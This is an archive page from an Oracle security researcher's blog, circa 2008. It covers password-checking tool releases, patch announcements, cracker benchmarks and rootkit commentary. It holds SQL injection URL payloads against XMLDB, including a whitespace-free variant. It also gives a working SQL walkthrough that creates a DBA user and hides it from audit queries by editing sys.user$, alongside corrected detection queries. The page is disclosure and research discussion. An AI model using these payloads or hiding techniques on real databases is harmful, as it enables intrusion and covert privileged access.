Infos

Sie befinden sich in den Archiven der Kategorie Oracle Security.

Calendar
Juli 2008
M D M D F S S
« Mai    
 123456
78910111213
14151617181920
21222324252627
28293031  

Archiv der Kategorie Oracle Security

Checkpwd 1.23 for MacOS Intel native released

2 weeks ago Oracle released the instant client 10.2.0.4 for Mac OS Intel. Yesterday I had the time to recompile checkpwd (checkpwd for other platforms) with the new instant client. The compilation worked flawless.

The performance of checkpwd with the native Oracle Mac client is 50% faster than the previous version for PPC.

Here are the links:

  • Checkpwd 1.23  [Mac - Intel - native] - 37 MB - with Oracle instant client
  • Checkpwd 1.23  [Mac - Intel - native] - 68 KB - without Oracle instant client
  • Checkpwd 1.23  [Mac - Intel - native] - 68 KB - Passwords are not displayed

And here sidguess recompiled for Mac - Intel:

  •  Sidguess 1.02  [Mac - Intel - native] - 16 KB -without Oracle instant client

Oracle Critical Patch Update April 2008 is out

Few minutes ago Oracle was releasing the latest Oracle CPU for April 2008 fixing 41 new vulnerabilities (15 in the database). 1 of the database vulnerabilities DB08 can be exploited remotely. APEX contains a SQL Injection vulnerability APEX01 and 1 remote exploitable vulnerability APEX02.

This time Oracle secalert forgot to inform the researchers (usual suspects: Cesar, Esteban, Stephen, Joxean… plus a few others) so we a not aware what vulnerabilities were fixed. Oracle normally informs the researchers in advance what vulnerabilities will be fixed in the upcoming CPU. The most critical issue (CVSS rating 6.6) is an issue in the Oracle Enterprise Manager. DB02-DB07 are SQL Injection vulnerabilities (5.5 is the typical CVSS value for that issue).

Oracle probably fixed the following of our vulnerabilities (we reported bugs in these packages):
* SQL Injection in SDO_GEOM (Tracking ID: 10051851)
* SQL Injection in SDO_UTIL (Tracking ID: 10051595)
* SQL Injection in SDO_IDX (Tracking ID: 10051649)

We will post more information soon…

Oracle Critical Patch Update Pre-Release Announcement - April 2008

Yesterday Oracle has published the pre-release announcement for the upcoming CPU next tuesday. According to this announcement the CPU will fix 41 security in various Oracle products. 17 vulnerabilities are affecting the Oracle Database.

  • Advanced Queuing
  • Audit
  • Authentication
  • Change Data Capture
  • Core RDBMS
  • Data Pump
  • Export
  • Oracle Application Express
  • Oracle Net Services
  • Oracle Secure Enterprise Search or Ultrasearch
  • Oracle Spatial
  • Query Optimizer

2 of these vulnerabilities are located in APEX and 2 of these 17 are remote exploitable (APEX?).

Tonight Oracle secalert will normally inform the researchers what vulnerabilities will be fixed by the upcoming CPU. It seems that some of our critical vulnerabilities (e.g. Bypass Oracle auditing in all databases) will be fixed next week.

More about the CPU next tuesday night or at HITB 2008 Dubai.  Cesar Cerrudo and I will be there.

We proudly present: Anna Marie Kornbrust

Last friday night, 29. February 2008, our daughter Anna Marie Kornbrust was born in Frankfurt / Germany. I just came back from a consulting project in Munich and went from the railway station directly to the hospital to see her birth.
Mother and daughter are doing fine.

Anna Marie Kornbrust

Corba Exploit for VisiBroker published

Today, Luigi Auriemma posted an advisory and heap overflow exploit for the Corba Visibroker 8.0 from Borland.

Visibroker was used by older versions of Oracle Reports (e.g. in the Oracle Application Server, Reports Developer or eBusiness Suite) and Oracle Discoverer. In Oracle 10g Release 2 Visibroker was replaced by the JDK ORB. Details see Metalink note 307669.1.

Oracle Patch CPU January 2008 is out…

Oracle just released their latest Oracle Critical Patch Update (CPU) January 2008. As promised in the prelease announcement the patch contains 8 fixes for the database itself. As usual most of the vulnerabilities are coming from the usual suspects (Esteban, Joxean, David, Alex) and some other people like Pete Finnigan, Mariano Nunez Di Croce, Ali Kumcu and Alexandr Polyakov.

According to an email from Oracle secalert they fixed 7 of my vulnerabilities (tracking numbers: 6980733, 7520291, 9675443, 9675563, 9675681, 9675695, 9675857) but they mapped them to DB05, DB04 and DB02.

The highest database CVSS rating of 6.5 has DB01.
DB02, DB03, DB04 and DB05 are SQL Injection vulnerabilities allowing privilege escalation.

The highest application server CVSS ratings of 9.3 are 2 bugs (AS01, AS02) in Oracle Jinitiator 1.1.8.26 and 1.3.1.27 and affects clients only.

Other interesting information are described in the Metalink note 466757.1. With this CPU it is necessary to recompile ALL Views to fix the “VIEW” problems fixed with Oracle CPU July/October 2007.

Oracle, white spaces and unexpected behaviour

Last week I saw the blog entry “select 1.x from t1” from Laurent concerning white spaces in select statements and Tom Kyte’s answer with a short explanation. Tanel Poder wrote a blog entry “Can you write a working SQL statement without using any whitespace?” too.

In my opinion and from the security perspective making whitespaces optional in SQL statements is a bad idea because it’s an unexpected behavior. And this is always a bad idea.

Here a real life example from Oracle itself:
Two years ago I found a SQL Injection Vulnerability in the web component of XMLDB.

The exploit was looking like:

http://url/xmldb?param1=’||(select sysdate from dual)||’

The result was a HTTP page containing the current date in an Oracle error message, a common exploit technique used by attackers.

The bugfix from the Oracle developer responsible for this component was to filter the URL for white spaces. Whenever a whitespace was part of the URL, the query was rejected. That’s why it was still possible to use functions (e.g. SYS_CONTEXT, …) but select statements were refused.

At that time I was not aware that SQL statements can be constructed without white spaces.

But with the knowledge from Laurent’s and Tanel’s blog entries I could rewrite the exploit

http://url/xmldb?param1=’||(select/**/sysdate/**/from”DUAL”)||’

A quick check in the Oracle PL/SQL code shows that some Oracle packages are using whitespaces as token separator (with the function instr()). I was also able to create a buffer overflow with alter session (11g) in SQL*Plus using this technique.  I will digg deeper…

Quick question to my readers: Is this just an Oracle behavior or also possible in other databases like SQLServer or DB2.

Sentrigo released a survey saying that 67% of the DBAs never apply Oracle CPUs

Today Sentrigo published a press release saying that in a survey 67% of the attendees never apply Oracle Critical Patch Updates on their system.

New password cracker with Oracle support from Elcom

The russian software company Elcom released a new version (2.10.137) of their distributed password cracker.

I did a small performance check (700,000 pw/s on a 2,16 MHz Core2Duo in BF mode) and updated the password cracker comparision chart.

Woraauthbf (1,480,000 pw/s), orabf (1,110,000 pw/s) and JtR (780,000) in dictionary mode are faster (on my computer) and free.

I was interested to see the performance improvements by using the Geforce graphic card for cracking Oracle passwords but according to the documentation the Geforce 8800 series is only supported for Windows LM/NTLM hashes.

Only bruteforce password cracking for Oracle is supported but I couldn’t find anything in the online help. That’s why I had to play a little bit.EDPR expects the hashes in a file with the extension .orc and username:hash

—– elcom.orc —–
ALEX:5BA465109942B4DE
—– elcom.orc —–

The password cracking itself was simple and I like the possibility to crack passwords in distributed mode on multiple PCs. EDPR is a commercial software and the price starts at 500 USD for up to 20 clients.

I found also a small bug. EDPR is also checking for ” (double-quotes) in passwords. This is not possible in Oracle (afaik, correct me if I’m wrong).
Screenshot EDPR

Are Oracle Rootkits easy to find?

Few days ago David Litchfield published his presentation “In-memory Backdoors“. It’s an interesting presentation with a new idea and a proof-of-concept code of a 3rd generation memory rootkit for Oracle. Last year I predicted 3rd generation rootkits for databases.

 

But here some additional comments and corrections to his presentation.

 

David claimed that he released information about “Manipulating Views” in January 2005 in the book “Database Hackers Handbook”. This is not correct. The “Database Hackers Handbook” was released in July 2005 not January 2005. Just a difference of 6 month…. and after my black hat  2005 presentation in April 2005. Even if David sent this information to his publisher 6 month in advance,  I sent my blackhat presentation about rootkits to the Black Hat organizer in December 2004…

 

And the “Database Hackers Handbook” contains only 1 reference to manipulated views in chapter 2.

(If you know a bit about Oracle and are wondering why I’m not using the DBA_USERS and DBA_ROLE_PRIVS views, see the last chapter in the Oracle section—you can’t trust views.) This is enough on users and roles at the moment. Let’s look at how database users are authenticated.

==> BTW the select statement “select name,password from sys.user$ where type#=1;” is not correct. The correct statement to get all users is “select name,password from sys.user$ where type#<>1;

 

I was not able to find this information because the last  Oracle chapter (chapter 5) does not contain the word “view”. But I am quite sure that David can post the page where this information is written in the book.

 

But now back to the content of the presentation and David’s ideas.

 

According to David 1.gen rootkits are easy to find, but 1.Gen rootkits have also some advantages. The advantage of the object (view, synonyms, …) modification concept is that this concept is platform independent. David’s memory rootkit are working on Windows only (so far) and most customers do not use Oracle on Windows for important databases.

 

David claims that xstatus is essentially the same as the modification of a view. This is not correct. It’s a different idea with the same result. I think that the concept of updating data for manipulation reasons is more powerful than manipulating objects and much more difficult to find. 

 

3 days ago I talked with Pete about this issue and I showed Pete how to create invisible users without getting caught by David’s SQL statement (” SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS“). 

 

Here is the way how to do it… 

 

————- tests performed on 10.2.0.3 with Oct 2007 CPU ——————–

– We create aN user called U1 (user#=76 on my system) with DBA privileges

SQL> create user u1 identified by u1;

SQL> grant dba to u1;

SQL> select user#, name, datats# from sys.user$;

         0 SYS                                     0

         1 PUBLIC                                  0

        76 U1                                      5

 

– Now we modify the result of the table as mentioned by David in his presentation

SQL> update sys.user$ set datats#=31337 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

– The user is no longer visible in dba_users

– Now we compare the base table sys.user$ with the view dba_users and we get the difference between sys.user$ and dba_users (as mentioned in the presentation)

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

– But does the statement really work in all cases? No!

 

– Why only updating 1 column, let’s change type# too ;-)

– type#<0 are not working (if the database was restarted)

SQL> update sys.user$ set type#=2 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

– Now we run the query to get invisible user from David (”Current rootkits trivial to spot”)

– But the query misses this trivial change ;-). 

– But it’s not a shame. My former SQL statements to check for hidden users

– were also wrong. Also Pete’s, Laszlo, … statement to get users from sys.user$ are only partially correct 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

no rows selected

————-

 

– It is important to restart the database 

– but the connect u1/u1 still works

SQL> conn u1/u1

 

– To get invisible users you should use type#!=0

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

I think the concept of modifying data to change results is underestimated and really powerful and much more difficult to find (checksums are normally not possible). I have already some interesting ideas in mind…

 

 

The in-memory rootkit is a good work from David.